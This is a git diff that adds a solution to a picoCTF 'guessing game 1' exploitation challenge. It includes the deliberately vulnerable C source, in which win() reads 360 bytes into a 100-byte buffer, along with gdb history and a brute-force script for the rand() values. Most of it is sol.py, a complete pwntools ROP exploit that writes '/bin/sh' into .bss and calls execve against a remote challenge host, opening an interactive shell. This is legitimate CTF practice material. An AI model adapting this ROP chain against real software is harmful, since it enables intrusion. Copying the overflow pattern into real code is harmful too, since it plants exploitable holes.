diff --git a/guessing_game_1/.gdb_history b/guessing_game_1/.gdb_history new file mode 100644 index 0000000..34256a6 --- /dev/null +++ b/guessing_game_1/.gdb_history @@ -0,0 +1,60 @@ +disassemble main +disassemble increment +disassemble get_random +exit +cyclic +cyclic 100 +cyclic 200 +cyclic 360 +cyclic zaaa +cyclic zaaaaa +cyclic help +cyclic -l bdaaaaaa +cyclic -l aaaaaa +cyclic -l aaaaaaaa +cyclic -l aaaaaaab +r +r +cyclic -l 0x6161616161616170 +disassemble main +exit +c +c +c +c +c +c +c +c +disassemble win +b *win+49 +c +exit +b *win+49 +c +stackf +stackf help +stackf -h +stackf 100 +hexdump $sp 200 +nexti +stackf +nexti +c +hexdump *bss +vmmap +hexdump 0x6b7000 +hexdump 0x6bd000 +hexdump 7062432 +nexti +b *win+49 +c +nexti +hexdump 7062432 +c +nexti +c +b *win+49 +c +c +nexti diff --git a/guessing_game_1/Makefile.share b/guessing_game_1/Makefile.share new file mode 100644 index 0000000..b9aac3a --- /dev/null +++ b/guessing_game_1/Makefile.share @@ -0,0 +1,5 @@ +all: + gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c + +clean: + rm vuln diff --git a/guessing_game_1/get_random_numbers.py b/guessing_game_1/get_random_numbers.py new file mode 100755 index 0000000..c3e6d5a --- /dev/null +++ b/guessing_game_1/get_random_numbers.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python +from pwn import * + +n = 6 +values = [] +p = log.progress(f"bruteforcing {n} random numbers") +while len(values) < n: + for i in range(100): + with context.quiet: + conn = process("./vuln") + conn.recvline() + for v in values: + conn.recvuntil(b"guess?") + conn.sendline(str(v).encode()) + conn.sendline(b"0") + p.status(f"i = {i:03}, {values}...") + conn.recvuntil(b"guess?") + conn.sendline(str(i+1).encode()) + conn.recvline() + result = conn.recvline() + with context.quiet: + conn.close() + if b"win" in result: + values.append(i+1) + break + +p.success(f"values are {values}") + diff --git a/guessing_game_1/sol.py b/guessing_game_1/sol.py new file mode 100755 index 0000000..3005489 --- /dev/null +++ b/guessing_game_1/sol.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python +from pwn import * +# https://cyb3rwhitesnake.medium.com/picoctf-guessing-game-1-pwn-bdc1c87016f9 +context.terminal = "kitty" + +numbers = [84, 87, 78, 16, 94, 36] # -> brute-forcing script + +elf = ELF("./vuln") +rop = ROP(elf) +pop_rdi = rop.rdi.address +pop_rsi = rop.rsi.address +pop_rdx = rop.rdx.address +pop_rax = rop.rax.address +syscall = rop.syscall.address +bss = elf.bss() +read = elf.functions['read'].address +main = elf.functions['main'].address + +ret_offset = 120 + +conn = remote("shape-facility.picoctf.net", 50780) +#conn = process("./vuln") +#attach(conn) + +conn.recvuntil(b"guess?") +conn.sendline(str(numbers[0]).encode()) +conn.recvuntil(b"Name?") + +# call read: read(int fd -> rdi, void buf[count] -> rsi, size_t count -> rdx) +# read(stdin/0, bss, 12) +log.info(f"sending read payload") +payload = cyclic(ret_offset, n=8) +payload += p64(pop_rdi) + p64(0) +payload += p64(pop_rsi) + p64(bss) +payload += p64(pop_rdx) + p64(12) +payload += p64(read) +payload += p64(main) +conn.sendline(payload) +conn.sendline(b"/bin/sh\x00") + +conn.recvuntil(b"guess?") +conn.sendline(str(numbers[1]).encode()) +conn.recvuntil(b"Name?") + +# call /bin/sh: sys_execve(59), rdi: char *filename, rsi: char *argv, rdx: char *envp +# sys_execve(bss, NULL/0, NULL/0) +log.info(f"calling execve") +payload = cyclic(ret_offset, n=8) +payload += p64(pop_rax) + p64(59) +payload += p64(pop_rdi) + p64(bss) +payload += p64(pop_rsi) + p64(0) +payload += p64(pop_rdx) + p64(0) +payload += p64(syscall) +conn.sendline(payload) + +conn.recvline() +conn.interactive() + diff --git a/guessing_game_1/vuln b/guessing_game_1/vuln new file mode 100755 index 0000000..c3cb8b6 Binary files /dev/null and b/guessing_game_1/vuln differ diff --git a/guessing_game_1/vuln.c b/guessing_game_1/vuln.c new file mode 100644 index 0000000..f2b53f0 --- /dev/null +++ b/guessing_game_1/vuln.c @@ -0,0 +1,67 @@ +#include +#include +#include +#include +#include + +#define BUFSIZE 100 + + +long increment(long in) { + return in + 1; +} + +long get_random() { + return rand() % BUFSIZE; +} + +int do_stuff() { + long ans = get_random(); + ans = increment(ans); + int res = 0; + + printf("What number would you like to guess?\n"); + char guess[BUFSIZE]; + fgets(guess, BUFSIZE, stdin); + + long g = atol(guess); + if (!g) { + printf("That's not a valid number!\n"); + } else { + if (g == ans) { + printf("Congrats! You win! Your prize is this print statement!\n\n"); + res = 1; + } else { + printf("Nope!\n\n"); + } + } + return res; +} + +void win() { + char winner[BUFSIZE]; + printf("New winner!\nName? "); + fgets(winner, 360, stdin); + printf("Congrats %s\n\n", winner); +} + +int main(int argc, char **argv){ + setvbuf(stdout, NULL, _IONBF, 0); + // Set the gid to the effective gid + // this prevents /bin/sh from dropping the privileges + gid_t gid = getegid(); + setresgid(gid, gid, gid); + + int res; + + printf("Welcome to my guessing game!\n\n"); + + while (1) { + res = do_stuff(); + if (res) { + win(); + } + } + + return 0; +}